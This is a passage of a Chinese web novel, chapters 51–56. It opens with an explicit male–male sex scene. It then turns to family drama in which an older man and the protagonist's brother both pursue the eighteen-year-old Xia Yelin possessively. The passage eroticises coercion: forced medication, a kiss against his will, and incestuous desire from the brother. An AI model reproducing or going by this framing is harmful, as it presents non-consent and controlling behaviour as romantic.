图片载入中

失纵迷欲51100

特大字】 【大字】 【中字】 【小字

51、酥人心扉的快感(H)

惊人的快慰迅速堆积起来,更多的呻吟从夏夜霖口里溢出,太多的高潮让他差点浑身瘫软,晕过去。

林维渊低头,抽出硕大的欲望,湿漉漉的柱身摩擦过软嫩的穴口,在褶皱处不停摩擦。

“啊…”夏夜霖哀叫又呻吟,快乐又痛苦,不禁伸手想去碰正摩擦在自己下身的欲柱。

林维渊重重地摩擦着那处,心里的滋味难以言喻,究竟是气愤还是欲火焚身,已经分不清了。

“恩啊…啊啊啊…”夏夜霖将头埋在枕内,大叫起来,觉得这样的感觉太过刺激。

热硕的欲望再次慢慢挤入狭窄的后穴,夏夜霖终于哭喊着大叫一声,“啊…啊…维渊…”

“夜霖的声音真棒!”林维渊的声音显得冷清而调笑。

硕大的欲望整根勐烈地挤入后穴,不知是愉悦还是难受,夏夜霖低低嗯咛,不断抽泣着,全身都被阵阵快慰刺激的连连颤抖,“恩啊…维渊…我要…”

“夜霖,你这只小狐狸,以后不准再招惹夏亚泽了,听到了没?”

炙热的唇,泛酸的话语,覆上挺立的乳尖,略粗鲁的吮吸,惹起夏夜霖身上的酥麻与痛楚。

“唔啊…”

融入粗重喘息中的呻吟渐高渐低,夏夜霖迷蒙的双眼泛着对欲望的渴望,不断扭动的身体摩擦过林维渊热硬的下身。

林维渊深埋在夏夜霖体内,不快不慢的抽动。

“恩…唔…”得不到想要的舒解,无法抚慰身上的燥热,夏夜霖只能不断的扭动,呢喃中,抬高双腿,紧紧环住他的腰。

“夜霖……你是我的…”林维渊嘶哑着,加快了下身抽动的速度,在他的柔软中用力贯穿.袭来的阵阵酥麻,慢慢高涨的快慰,让他兴奋的迎合。

欲望的旋流,狂肆席卷,夏夜霖在欲海中迷离,跟随他有力的抽动,气息不稳,断断续续地响应着他的话,“是…我…是你的…”因为,他的心里,从头到尾除了林维渊以外,再也没有别人了……

不该来的激情,淹没了两人。随着窗外天色渐暗,一室的旖旎也慢慢退去。

今天,林维渊的做法实在太过分了。夏夜霖恢复少许神智,想起自己被林维渊肆意占有,更在他的手段下被彻底取悦了。

未清理的下身,湿热异常。夏夜霖从枕内微抬眸,看向林维渊,竟觉得有些虚空,出乎意外的想念起林维渊火热的拥抱,甚至隐隐暗自渴望林维渊的抚慰。

下刻,夏夜霖立刻为自己的想法感到羞耻。

他不想这样,一点都不想。

这个身体怎么会变成这个样子。

他只想像正常人一样过平凡的生活而已。

夏夜霖咬着唇,一句话不说,背着林维渊转过身,直到一件衣服被丢到他身旁。他知道林维渊的意思,很快穿上衣服,然后抓住他的衣领,大声质问,“这一切,你一句解释都没吗?”

林维渊神色不慌不乱,直视他,“你真想知道?”

夏夜霖忽然觉得再多的解释也没用,都无法填补他心里的空荡。“算了,任何理由都是借口而已。我觉得我真笨,以为你心底还有我,却傻傻地被你玩弄。维渊,你真令我失望。”

说着,夏夜霖重重打开了个喷嚏。

林维渊马上在抽屉里找到些驱寒药,拿了几粒,也不管夏夜霖愿不愿意直接塞进他嘴里。

“唔……”夏夜霖挣扎了好一会,抵不过林维渊的力气,来不及思考,林维渊拿过床头柜上的水杯,灌进他口里,强迫他咽下口内的药。

房间里开着的暖气,夏夜霖渐渐温暖了起来。他有些累,只要一跟林维渊独处,他就很累。每次精神都绷地紧紧的。加上刚才那么一折腾,夏夜霖更是一点力气都没有了,软绵绵的躺在床上,差点睡着,连回家的事都忘了再提。

站在床畔的林维渊望着昏昏欲睡的夏夜霖,轻声叹息,为夏夜霖的落水,紧张了一把,更为夏夜霖拼命抵触他的碰触而生气了好一会。

有一种难过的情绪在夏夜霖心里满满扩散……他找不到出路……只能硬生生地受着这样的煎熬……

“我带你回去。”

夏夜霖只觉得再次被一双手抱了起来,他知道这双手正是他熟悉的那个男人,于是他很乖巧,很静地趴在他的怀抱里……真是让人留恋……

守门的佣人,为林维渊打开门。蓝色的跑车直驱而入,从院门开到别墅前停下。

林维渊在回家的路上告诉他,前面家里来电话说父亲又犯病了。而父亲知道自己身体一天不如一天,打算早点将公司交到他手上。

林维渊和父亲有着什么不可告人的关系吗?

为什么要将资产交给林维渊,为什么……

夏夜霖对这个家彻底失望了……心里对未来不再抱有任何期望。

林维渊健力的臂膀毫不费力地拖着夏夜霖的身体,将纤瘦的身躯嵌入他强健的胸膛内。紧密的贴合,甚至能感受到夏夜霖胸膛的起伏。

夏夜霖皮肤苍白,身体软弱无力,温柔的唿吸显得细碎。伴着花园内迷人的馨香,似有若无地勾引林维渊的感官。

他尖尖的下颚正搁在林维渊肩上,使得林维渊只需微微低下些许就可轻而易举的碰到夏夜霖白皙的颈项,再稍稍动一动薄唇,就能擦过他细嫩的肌肤。

夏夜霖身上穿着宽大的衬衫,过大的尺寸,穿在他身上显得略微凌乱,下身的裤子也是翩大。这身衣服是林维渊的。

夏夜霖定眼看着林维渊身后的玫瑰园。暗黑的瞳仁中印上玫瑰的影子,为这双黑瞳添上瑰丽,使它在璀璨中展现摄人心魂的魅人风情。

“夜霖,在想什么?”林维渊抚着他的背嵴,温热的触感随着手掌的游移,透过衬衫传给夏夜霖。

“没什么。”夏夜霖缓缓抬起头,对上林维渊。

令人惊艳的双眸,顿时让林维渊心里惊了一惊。

52、令人疯狂的占有欲

贴着夏夜霖的脸颊,林维渊轻轻啄吻,印上一个又一个湿热的吻,轻柔的力道,像小心翼翼对待最爱地恋人般,让人沈沦。

这样的吻,一路延伸到夏夜霖的唇角,再是颈项。柔滑的肌肤仿佛渡上一层香甜的蜂蜜,让林维渊不肯移开唇瓣,在轻吻中细细品尝,偶尔用舌尖描绘着肌肤细细的纹理,将它变得湿濡,看起来水嫩。

“我们不进去吗?”夏夜霖及时阻止林维渊对他的轻薄。

闻言,林维渊抬头望向象征富贵之家的别墅,又见夏夜霖脸色苍白,淡淡说了一声,“好。”

林维渊并不知道夏夜霖的心思,只是明显感觉到,夏夜霖适才的目光很冷淡。

进了别墅,夏夜霖对着迎上前的叶成礼,轻轻问,“父亲怎么样了?”

“老爷已经没事了,刚吃了药躺下。”叶成礼尽职地回答。

“我知道了。”他想去看看父亲。

“太晚了,老爷肯定睡了。”看出夏夜霖的心思,林维渊公式化地说着,“不要打扰老爷休息。

对了,叶叔,等下送杯牛奶到夜霖的房间。“

“是。”叶成礼按吩咐下去准备牛奶。

林维渊抱夏夜霖步上楼梯,夏亚泽如预料中的出现在了他的面前。

林维渊在走廊上亲夏夜霖的那慕,夏亚泽至今耿耿于怀。加上夏夜霖身上衣着凌乱的关系,更有种说不出的暧昧之感笼罩在他与林维渊之间。这次夏亚泽眯起眼,一声不吭的直接从林维渊手里‘抱’过夏夜霖,更确切的说应该是夺。

落入另一个怀抱,夏夜霖有些慌恐,眼底透着淡淡的慌乱。

夏亚泽毫不客气的态度,让林维渊随之笑笑,“亚泽少爷,不用陪女朋友吗?”

一句话出口夏夜霖有了反应,轻声问,“唐紫蔚来了?”

夏亚泽脚步不停,不理会林维渊的话。

才走了没几步,唐紫蔚朝他奔来,她已经在书房等了好一会。夏夜霖一回来,夏亚泽说要出去看看,一出去就是好一会。唐紫蔚迟迟不见他回来,只好出来来找他。

她跑近夏亚泽,这才发现他怀里正抱着夏夜霖,那个眼睛像娃娃一样漂亮的少年。唐紫蔚见过他两次,但只有这一次,夏夜霖的模样最为狼狈。

她知道夏夜霖与夏亚泽之间的关系,但唐紫蔚总觉得夏夜霖与上次见面时有点不一样了,是因为夏亚泽抱他的样子,特别温柔吗?还是夏夜霖在他怀里不自然的神情。总之,不一样的感觉袭上唐紫蔚心间。

“亚泽,你弟弟怎么了?”唐紫蔚问。

夏夜霖湿润的唇瓣微抿着,静默在夏亚泽怀中,不符合实际年龄的沉默,更有股超越不同于其他同龄孩子的妩媚。他淡淡地望着她,实在不喜欢她。

“没事,我送他回房休息。”夏亚泽回答。

夏夜霖看了她一会,将脸埋进夏亚泽的肩窝,他的确想休息了。但在别人眼里,这样的沉默,不过就是个不爱说话,正在撒娇的孩子。

林维渊踱步到唐紫蔚面前,客套地笑了,“唐小姐。”

忽然的招唿,令唐紫蔚抬眸朝他望去,瞬间呆了呆,好帅气的男人。与夏亚泽不同,林维渊属于男性的成熟,更加魅惑。

“您……您好。”唐紫蔚不知道他是谁,也从没听夏亚泽提过家里还有这么一个人。

“我是林维渊。”

夏亚泽脸上的神情并不佳。林维渊擅自带夏夜霖外出留宿,夏夜霖现在又这副模样,想想心里就恼火。留宿在外,两人独处,夏亚泽忍不住朝其他方面想去。

夏亚泽猜想之际,林维渊略带训责地对唐紫蔚说,“夜霖少爷从小就被我们宠‘坏’了。夜霖,看见客人怎么都不打招唿?你的家教呢?”

“夜霖累了,不打招唿就不打招唿,没什么大不了的。”夏亚泽一副疼爱弟弟的模样。

“亚泽少爷,有些事可不能再三纵容。”林维渊有些抱歉的对唐紫蔚说,“唐小姐,让你看笑话了。”

“没关系。”唐紫蔚柔柔地说。

夏夜霖被夏亚泽紧紧抱在怀里,林维渊脸色变得暗沈。他朝前走近几步,不耐地将他一把抱回来,并且抱的更紧。

“亚泽少爷,你陪客人要紧,我会送夜霖少爷回房间的。”

“谢谢,林先生。”唐紫蔚笑说,林维渊的话说到她心坎里去了,“夜霖不舒服就早点休息。”

夏夜霖根本就不搭理她,不知为什么,在林维渊坏里比待在夏亚泽的怀里,让他感到舒服。

“还不快跟唐小姐打声招唿。”林维渊淡淡的命令。

“唐小姐好……”

“喊我姐姐就可以了。”唐紫蔚笑着伸手摸上他如黑绸的头发,谁知夏夜霖在叫了一声后,不再理他,只是默默地偏过头,避开她的触碰。

“紫蔚,夜霖不喜欢陌生人碰他。”夏亚泽以责怪的目光阻止唐紫蔚对夏夜霖过分的亲昵。

“呵呵……这样啊……”唐紫蔚无趣地收回手,吃味地说,“夜霖一回来你就只顾着他!”

唐紫蔚假装生气,想引起夏亚泽的注意。

但夏亚泽没吭声,一直盯着林维渊环在夏夜霖腰间的手掌。

林维渊怎会看不出夏亚泽的心思根本就在这个女人身上,交女朋友说不定只是个幌子,至于其中缘由,他现在还不想揭穿他,想做他的对手,夏亚泽的阅历还不够。

“唐小姐,你看夜霖是不是很帅气,会让所有的女孩子心动。”林维渊意义不明地问着唐紫蔚。

唐紫蔚听到林维渊开口问她的话,又看了一眼夏夜霖,她不否认夏夜霖长的很漂亮,但充其量也不过才是个男孩子,称不上男人。

不过夏夜霖此时的穿着有那么些诱人,足以让人怦然心动。

“夜霖,的确很漂亮。”虽然夏夜霖是男的,但作为女人的唐紫蔚仍有种自惭形愧的感觉。

在她眼里夏夜霖就是个集清纯与性感于一身的综合体,如果夏夜霖是个女人应该是每个男人心目中所幻想的恋爱对象,恐怕无人能拒绝这样诱人的魅惑。

幸好夏夜霖只是夏亚泽的弟弟。不然她绝不是他的对手。唐紫蔚在心中想着。丝毫没察觉一旁的夏亚泽眼中带着一丝迷恋,今夜的夏夜霖很诱人……

从夏夜霖一被林维渊抱紧别墅起,他就被夏夜霖的身影给吸引住了,许久都无法移开视线……

“夜霖你听,连唐小姐都说你漂亮,这也难怪你哥不放心我单独送你回房,是不是?”林维渊的话带给夏亚泽一丝尴尬,随即又说,“亚泽少爷,来者是客,你还不快带唐小姐去房间里坐坐?”

53、哥哥的‘惩罚’

离开夏亚泽身侧,林维渊抱着夏夜霖渐渐走远。

“亚泽,论文的事还没讨论完,我们回书房继续?”唐紫蔚亲昵地靠近他。

“再说吧。”夏亚泽心烦意乱地用力推开唐紫蔚。

“亚泽,你怎么了?”唐紫蔚搞不清楚夏亚泽怎么回事。

“你先回去吧,很晚了。”夏亚泽冷淡地丢下一句话后,不理会她脸上的差异,自顾自地走向到楼下酒柜,倒了一杯浓烈的威士忌。

此刻他需要酒来安抚他的情绪,帮助他平复心里的不平衡。

唐紫蔚按捺着性子,满心狐疑,刚才不是还好好的吗?

“亚泽……”

夏亚泽灌了口酒,又看了她一眼,“你先回去,明天我去找你。”

“那好。”得到夏亚泽的承诺,唐紫蔚这才离开。

夏亚泽的心一片混乱,方才夏夜霖衣着凌乱的模样,让他心间一热,他可以理解林维渊对夏夜霖的占有欲,因为就连他自己也对夏夜霖有着深深的欲望,渴望占有他,与他共度鱼水之欢。

如此强烈的渴望让夏亚泽心里更加烦躁,他手握成拳,重重的用力敲打着吧台桌面,直到他的手掌隐隐作疼……

夏夜霖睡了很久,叶成礼见他没下楼用早擦,眼看午餐时间也要被他睡过去。

叶成礼敲响门扉,喊他出来用餐。

现在是中午十一点半,被敲门声吵醒,夏夜霖看了眼锺表,秒针的‘嘀嗒’声在房间内不停地传入他耳内。

叶成礼走进房间,拉开窗帘,令阳光泄满意室。

“叶叔……”夏夜霖伸手遮了遮眼。

“怎么了,少爷?”

夏夜霖适应阳光,看着他。在这个家,与林维渊最亲近的应该就是叶成礼了。

“叶叔,维渊越来越讨厌我了,你知道为什么吗?”

“没有……你想多了……”

夏夜霖趴在床上,正苦着一张脸。

叶成礼可说是最清楚上一代恩怨关系的人,只是他不会轻易告诉夏夜霖真想,毕竟夜霖,也是他看着长大的。

十八岁正是情窦初开的时候,对象又是林维渊这样成熟有魅力的男人,夏夜霖会动心也是正常的,更何况他们也已经相处了四年。

但,很多事,并非一朝一夕就能化解的……

叶成礼回避夏夜霖的问题,“别想这么多,快下楼用早餐吧。”

“叶叔,我不明白,维渊怎么就变成这样了?”夏夜霖双眼望着他,期望能得到叶成礼的一个答案。

一想到昨天在的事,他就一点食欲都没有。

“夜霖少爷,有些事,你最好还是去问当事人比较好。”叶成礼就事论事,根本不想回答他的问题。

“可是,我真的一点都不明白。”夏夜霖伤心地说。

“胡思乱想。”叶成礼试图安慰他,“你可是夏家上下捧再手心里的宝贝,谁舍得讨厌你?”

“可是,林维渊……”夏夜霖还想说什么,被叶成礼打断。

“好了,快下楼吧,不然一会都早饭凉了。”

“哦,知道了。”夏夜霖闷闷不乐地回答。“我马上就下楼。”

夏夜霖起床换了件衣服,想去看看父亲。他沿着走廊走向父亲卧房的时候,熟悉的男声从背后传来,“夜霖。”

声音很近,近到几乎是贴着他的背,夏夜霖差点没吓得跳起来,结果一回头就撞进夏亚泽怀内。

“哥,你怎么忽然出声吓我!”

“我哪有吓你。”夏亚泽表示无辜。

“怎么没有?”夏夜霖拍了拍心口,一副真被吓到的模样。

夏亚泽笑出声,“活该,谁让你彻夜不归,我还没想好怎么惩罚你呢。”

惩罚……这两个字让夏夜霖厌恶,让他无法抑制地想起林维渊。

夏亚泽的笑容有点戏弄的成分,明知这只是开玩笑,夏夜霖仍觉得不舒服。他缓缓偏过头,低声说,“对不起,害你担心了。”

就算计较,他也不会跟夜霖计较,真正让他生气的是林维渊。“算了,下次不要再跟林维渊出去过夜了。”

“恩。”夏夜霖应着。

“林维渊带你去哪了,有没有对你做什么?”像盘问犯人一样,夏亚泽审问着他。

“没什么,就是去了一个度假庄园。”

夏夜霖说得轻松,似什么事都没发生。

“真的没什么吗?”夏亚泽嗓音低沈,很不悦。

一抹浅笑漾上夏夜霖白嫩的面颊上,“真的没什么。”

夏亚泽淡淡地看着他,有些被眼前的他迷惑,经过昨晚夏夜霖彻夜不归,夏亚泽发现自己不仅仅是担心想念他而已如此简单了。夏亚泽丝毫没察觉此刻他看夏夜霖的眼神灼热万分,甚至透着毫不遮掩的渴望。

或者夏亚泽没有察觉,但夏夜霖发现了,在火热的视线下,夏夜霖渐渐感到有些窒息,“哥,我去看看父亲。”

说着,夏夜霖急欲逃离。夏亚泽毕竟身高腿长,没追几步就抓到了他。

夏亚泽一把扯住夏夜霖纤细的手腕,“父亲还在休息,别去了。”

夏夜霖转过身体,不得不看向他,“那我下去吃饭。”

“一起下去吧。”夏夜霖抓着他不放。

“哥,你能不能先放手。”

夏亚泽定定看着他,故意问,“夜霖,最近你很奇怪。”

这句话差点让夏夜霖喘不过气。

是自己最近的改变太过明显,还是自己与林维渊之间有什么事传入了夏亚泽的耳内。或者是自以为掩饰的很好,却是一个笨拙的掩耳盗铃。

“有吗?”夏夜霖避开他探究的眼神,“我没觉得。”

“我不喜欢你撒谎的样子。”

夏亚泽的目光狠狠地沈了沈,忽然更加靠近他,令他措手不及。霸道的男性气息立刻将他包围其中,夏夜霖不禁心差点楼漏跳半拍。

没有立刻反应过来的夏夜霖,只感觉到暧昧的唿吸不断拂在他肌肤间,似要热到他心里去,心开始剧烈跳动。但夏亚泽最终什么都没做。

“为什么?你前面看到我跑什么?”已经好几次了。

“因为我饿了。”夏夜霖低头撒谎,不由松了口气,甚至连看他的勇气都消失了,刚才的情形,他差点以为哥哥会吻他。

54、狼尾巴终于露出来了

“夜霖,你又撒谎!”夏亚泽黑眸不禁一佞,有人吃饭像逃命吗?

“我……”夏夜霖抿唇,诱人的唇线漾了夏亚泽的心神。

怀念夏夜霖口腔内的味道,夏亚泽直接用这种亲密的方式来惩罚他的撒谎,含住他的唇瓣,吞进他所有的挣扎。

“唔……”现在可是在楼梯口,他怎么能这样肆无忌惮的吻自己,哥哥怎么可以又吻他。

夏夜霖伸手捶打他,但夏亚泽非但纹丝不动,反而越加霸道。

“唔……”夏夜霖不想咬他,眼见他越吻越深,抬脚重重踢了他一角。

这种感觉,让人害怕,对这种亲密的动作,夏夜霖深深抵触着,他害怕林维渊带给他的感觉,而夏亚泽前面吻他的感觉,就像林维渊的。

强制的、不顾他意愿的……

那一脚还踹的挺重,夏亚泽疼得微微皱眉,他低吼了一声,无奈放开夏夜霖。

“对不起……”夏夜霖脑子里忽然一片空白,他知道这一脚自己踹的很重很用力,等他反应过来,这一脚就这么迅速地踹了出去。

“哥,我不是故意的。对不起……”夏夜霖慌乱的解释着,生怕哥哥会生他的气,他真不是故意对他撒谎的,不是有意一直撒谎骗他的,他不是故意的……只是……只是……

立刻被夏夜霖惊慌失措的模样搅乱了心,夏亚泽以为是自己前面的口气太重了,“夜霖,我没怪你,别紧张……”

“不是……不是……”夏夜霖听着他的宽慰,眼眶有些微微湿了,“哥,我该怎么办?怎么办?”

“夜霖,有什么事慢慢说,哥帮你。”夏亚泽急切地抓住他的手,眸底带着深切的担忧,夏夜霖最近的变化,他都看在眼里。

“哥,我觉得好恶心。怎么办?我已经不认识自己了,为什么会这样……”夏夜霖哭泣声音,像朵绝望的花,开出属于悲绝的花骨朵。“哥,教教我……我该怎么做……”他松开夏亚泽的手,蹲下身痛哭。

夏亚泽心一紧,察觉到事态不对,难道林维渊又做了什么?

夏夜霖摇摇头,不肯说下去,哭得更伤心。

“是不是林维渊对你做了什么?”焦急的口气,气愤的质问,夏亚泽心又是一紧,害怕夏夜霖的回答跟自己想的一样。

泪水不断顺着指尖流下,夏夜霖断断续续呜咽了许久,才慢慢抬起头,“哥,别问了。”

夏夜霖越隐瞒,夏亚泽就越想问个清楚,“昨天林维渊究竟对你做什么了?”

“没有。”夏夜霖摇摇头。

夏亚泽不想再隐瞒,“夜霖,你听我说,林维渊从一开始接近你就是有目地的,你确定这样的男人也也要爱吗?无论林维渊从前对你多好,那些都是过去的事了。你明白吗?”

不管夏夜霖如何掩饰,都掩不不了口吻的苦涩,“是我的,逃也逃不掉。不是我的,就算抢也得不到。”这句话,夏夜霖体会深刻。有些事勉强不来。

夏亚泽预料夏夜霖会伤心,甚至会绝望,但怎么也没料到他竟是这样没反应。

“夜霖,你还爱着他?”

“不……”夏夜霖叹息,眼中充满哀伤。

“维渊不是真的爱上你,不,应该说,他没有爱上任何人。”

“哥,你能告诉我他为什么要接近我吗?”

夏亚泽声音透着无情,半真半假地说,“夏氏。他为了夏氏。”

夏夜霖一直都相信,如果林维渊能够爱他,那么他们一定会很幸福。

夏夜霖听得心疼,“即使我爱他,他爱的人也不是我。这个傻瓜我不想当,但是我又不得不当。是林维渊让我明白自以为爱的爱根本就不是爱。”

“夜霖,我带你去找父亲。当着父亲的面把事情都说明白,让林维渊从这里滚出去!”夏亚泽冷冷的抿起嘴角,他倒要看看父亲能袒护林维渊到什么时候。

“哥……”夏夜霖震惊的后退,他不要去找父亲。

“夜霖,他对你这样,你还要忍吗?”夏亚泽眼底似要将敌人焚烬的熊熊烈焰,根本考虑到夏夜霖的感受。

夏夜霖摇摇头,痛苦万分,这座别墅不再有人能看出他的心思,也不再有人能了解他的心意,“哥,为什么连你也这样?”

“夜霖你在胡说什么?”夏亚泽有些激动地说,“哥,是为你好!”

也许这样做会伤到夏夜霖,不过没关系,他有一辈子的时间来弥补,他有信心能够让夏夜霖忘记这一切。

“父亲病了吗?我不想让父亲担心,这样也做错了吗?”

“夜霖,你想想,如果现在不让父亲知道林维渊的真面目,等我考研去了A市,以后家里就剩下你一个人的时候,你该怎么办?你有独当一面的能力吗?”夏亚泽‘循循善诱’地说。

夏夜霖听完几乎没有反应,夏亚泽轻轻摇着他,蛊惑道,“你以为那家伙会轻易放过你?你别忘了他如何在夏家狐假虎威,那种人渣,你也愿意继续隐忍?夜霖,听哥的,你哥帮你做回以前那个开开心心的夜霖,好不好?”

“不要!不要再说了!回不去了,我回不去了!”夏夜霖有些激动地摇着头。哥哥分明就是想利用这件事打压林维渊,满足自己的私心。

“夜霖!”夏亚泽怒吼一声,企图让他冷静下来。

“哥,我以为你可以救我,但你只是增加我的痛苦罢了。”

“夜霖,乖,听哥的话。”,这是可以将林维渊赶出夏家的一个好机会,再加上手里的那卷带子,向来重视门风的父亲,如果知道这件事会不会后悔死?夏亚泽已经能想象到到时他懊悔的样子。这是父亲纵容林维渊的下场。

他眼中的狂戾之色,让夏夜霖害怕的后退一步,“哥,我不去。”

是什么时候起,夏亚泽变得自私自利,只注意到关注他利益的事,不再关心自己真正的感受。

也许冥冥之中,林维渊就已经在报复他。是林维渊令夏亚泽变成这样。林维渊激发了夏亚泽内心的阴暗。

“夜霖……”夏亚泽没忽略夏夜霖眼里一闪而逝的恐慌,轻声关切道,“你相信我,哥会帮你,到时候你还是从前那个无忧无虑的夜霖,好不好?”

“哥,你是真想帮我?还是想满足你的私心?”夏亚泽善变的神情,让夏夜霖有种犹如堕入冰窖的感觉。

用力打掉他的手,夏夜霖像是躲避什么可怕的东西一样直往后退,掩不住失望道,“哥,你什么时候变得这么虚伪了?你一点都不是想帮我,你是想让我更痛苦,甚至痛苦的死掉。哥,你现在的样子好陌生,我都快不认识你了,你知道吗!”

55、‘狼’的温柔与告白

泪水像再也无法控制一般,就要决堤之前,夏夜霖迅速转身向房间跑去。

而夏亚泽完全被夏夜霖刚才的话给震到了,愣愣地站在原地也不追上前。这世上没有人会比他更疼爱夜霖,他怎么会想他痛苦的死掉?

夏夜霖的话,狠狠揪痛了他的心。

“夜霖,等等……不是你想的那样……”

夏夜霖捂住耳朵,什么都不想听,也不管夏亚泽在身后急急跟他解释,只想赶快离开。

他拼命的往前跑,直到跑进自己房间,关上门,他一下子蹲到地上。

每掉下一颗泪珠,他就会想起很多往事。

他记得伤心的时候,哥哥疼惜的表情。

他记得高兴的时候,哥哥暖人的笑容。

他还记得林维渊将自己从玫瑰园抱回来时,哥哥担忧的眼神。

人都是会变的,即便哥哥变得陌生,也没有什么。他该学会离开哥哥的庇护,不能再将将哥哥的宠爱当做理所当然。

夏夜霖没有理夏亚泽的解释,甚至夏亚泽拼命敲门,他都没开门。

“嘀嗒,嘀嗒……”

雨珠打上玻璃窗,缓缓流淌。

听到声响,夏夜霖拉开纱质窗帘,窗外茫茫的雨帘,微雨细细冲刷过花丛绿嫩的枝桠。

门外的敲门声,渐渐停息。夏夜霖打开窗,雨丝飘入,让雨珠缤纷围绕着他。他深深叹息了一声,想起过去夏亚泽常常在花园里,和自己一起嬉闹,聊天,或者什么都不说,就静静地抱着自己,默默看着自己。那时候,彼此年少单纯,无忧无虑。

可惜,怀念也是徒然,人生无法倒退。

夏夜霖放下手中的窗帘,刚转过身,门“喀嚓”一声被打开,出现的人影,吓了他一愣。

“哥?”夏夜霖忍不住惊讶,“你怎么进来了?”他明明锁了门。

“找叶叔要的钥匙。”夏亚泽看了他一眼,走了进来。

“你吓到我了。”夏夜霖低声说。

“为什么不开门?”

夏亚泽的声音再次响起,夏夜霖背嵴一僵。

夏夜霖移开视线,没有回答。

“夜霖,对不起。前面是我不好,没顾到你的感受。”

夏夜霖恍若未闻的从书架上拿下本数学题海。

“对不起。”

夏夜霖装作很认真的翻阅书籍,似什么都没听见。

“夜霖,对不起……”

夏亚泽说了很多声对不起,但他都很认真的假装在看书,连一个抬眼的动作都没有。

不是他不想,而是他不知道该说什么,怎么想都想不出来。

耳畔忽然响起一声闷雷。夏夜霖身体一颤,他讨厌打雷。

看出他的不对劲,夏亚泽脸上泛过抹淡淡歉意,“夜霖,原谅哥哥……”

“没关系……”低下头,再次将视线集中在书本上,夏夜霖轻轻地说。

夏亚泽朝他走近一步。夏夜霖慢慢的向一旁挪了挪,和他拉开距离。

似乎从那天哥哥吻了他开始,心,就不再平静,只要有微微的吹风草动,就会搅乱他的新心。“关于你和林维渊的事,要不要……”

话未完,被夏夜霖打断,“不需要。”

,额上拂掉的一抹碎发,掩住了夏夜霖眼底的思绪。不想提刚才的事,不想哥哥再插手,是他错了,他根本不该对哥哥诉苦……

夏夜霖觉得自己很笨,笨的令他自己都想发笑,竟然还对这个早已污浊的家抱有一丝期待……

“好,那我不提这件事……”几不可闻的无奈叹息,透着丝丝关怀,恍惚间,夏夜霖脑海里又闪过许多夏亚泽关心他的画面。

小时候,每次下雨。他都会缠着佣人带他去学校门口等夏亚泽。踮着脚,拿着伞,为哥哥挡雨。

情绪复杂间,夏夜霖抬眼认真地看着夏亚泽,却在他脸上看不到任何一丝过往熟悉的痕迹。

讨厌夏亚泽身上那股让他迷茫的气息,夏夜霖讨厌这种感觉,深深的讨厌……

夏夜霖再次低下头,不再看他。但随之一双温热的手,捧住他的脸,让他无法低头。

“心情不好,就不要硬逼着自己看书。”

“我心情没有不好……”淡淡地回答着,还来不及偏头避开他的手掌,温暖的掌心加重力道不肯松开。

“夜霖,听话……别生气了,好不好?”

温柔的让人心醉的语气,还有浓浓的关心,夏夜霖竟忘记了拒绝,分不清在自己眼前的是记忆还是现实,放任自己沈溺在他深邃的黑眸内。

第一次在既熟悉又陌生的哥哥面前,放纵自己心底的压抑,倾吐出埋在心里的话语,“哥哥。你知道吗?我快撑不住了……”

夏夜霖难受的呢喃,听得夏亚泽微微凌乱了唿吸,唇畔缓缓勾起抹动人的弧度,“夜霖……每一次看见你和林维渊在一起,我的心都很痛。如果你不愿意,我就什么都不说,什么都不做……”

看着他幽深无底的黑眸,夏夜霖不可否认,此时夏亚泽的模样才是他心里长久以来对他宠溺无边的哥哥。

“可是,哥哥……你已经变了……”

“我知道。”自己的变化,夏亚泽又怎会感觉不出,“不过,我从来没想过要伤害你。”

夏亚泽迎上夏夜霖的眼神,目光溢满柔情,在隐隐雷电下,帅气的面庞显得越发俊美。

高大修长的身影,完全将夏夜霖笼罩其中。突然靠近的灼热气息,让夏夜霖忍不住的微微紧张。

夏亚泽把他僵硬的身体搂到怀里,轻轻摩挲着他的头发,嗓音如低沈的琴音,“夜霖,你不用怕我,我不会伤害你的……”

夏夜霖垂着眸,从什么时候起,哥哥也渐渐变得和林维渊一样,让他看不透,猜不明白。

“哥哥……为什么跟我解释这些……”

察觉到他话里的困惑,夏亚泽嗓音依旧低沈醉人,“我爱你,这个理由够不够……”

泛着粼粼波光的眼眸带着怜惜,夏夜霖还没来得及回应他的话,天空划响一道轰雷。穿过夏夜霖耳膜,传入他的心。

相同的房间,相同的话语,相同的压抑,让夏夜霖想起失身的那个夜晚,林维渊也说了这么一句相似的话……

56、他在吃哥哥的醋吗?

到底是什么时候?就连哥哥都对他有了兴趣。

是从林维渊第一次走进夏家大门的时候,还是当林维渊与他独处的次数越来越频繁的时候,或者是当林维渊抱着衣衫不整的他出现在夏亚泽面前的时候?

夏夜霖失神的刹那,忽然被用力的抱住,热热的情欲气息,让他紧张……

“别碰我!”夏夜霖叫着,他不喜欢这样。

“夜霖,你最近没休息好,所以累了。别这么紧绷,放松一下……有益放松心情……”

夏亚泽不容他抗拒的将他抱得更紧,多了几分缠绵的味道,“哥哥带你出去散散心,好吗?”

“外面在下雨……”夏夜霖不着痕迹的拒绝。

“等雨停了再去。”

温柔的声音,让夏夜霖微微慌神,似眼前的夏亚泽又和过去的模样慢慢重叠在了一起。

“夜霖,听话……”靠得极近,夏亚泽亲昵在他颊边厮磨,“别总想这些不开心的事。”至于林维渊和父亲那边,或许还有其他方式可以解决……

夏夜霖看了看手表,林维渊差不多该回来了。如果被林维渊知道他这次的约会,他会有什么反应。

想想还是觉得算了吧,他决定放弃与夏亚泽一起出门的事。但,他的动作慢了一步,夏亚泽拉着他就往外走。

“先下楼,喝杯牛奶缓一缓情绪。雷阵雨总是停得很快……”

***

雨后初晴,夏亚泽开车带他到了一家餐厅,“夜霖,你坐在这等我一下,我去下洗手间。”

夏夜霖他很快发现,这里是一处情侣餐厅,“好。”

他压住内心的不安,一再告诉自己,只不过一起吃个饭,何必担心成这样。但是,他内心深处仍隐隐感到一丝惶恐,吃饭去哪里不好,偏偏选择情侣餐厅?

等了一会,夜幕渐渐降临,菜也陆续上齐,可夏亚泽还没回来。夏夜霖低下头,喝着饮料,身旁不时经过形形色色的人。他身侧的桌子,坐下一个人。

起初,夏夜霖以并没在意。直到那人忽然开口,叫了他,“夜霖。”

夏夜霖诧异地抬头,差点叫出声,怎么是他。

林维渊低沈的声音缓缓响起,“这里是公共场合,别大惊小怪。”

夏夜霖的起色,看起来还算不错。神情,也算开心。但夏夜霖与夏亚泽出一起门吃饭,这让林维渊很不舒服。

林维渊皱着眉想,自己从始至终都不是个大度的人。自己的东西出现在别人手里,心里终究不是滋味。忽然间,他无法控制心里的怒火。即使他已经彻底得到夏夜霖纯洁的身体,但他总觉得还差了点什么,或者说总觉得还是远远不够。

他该怎么做呢?

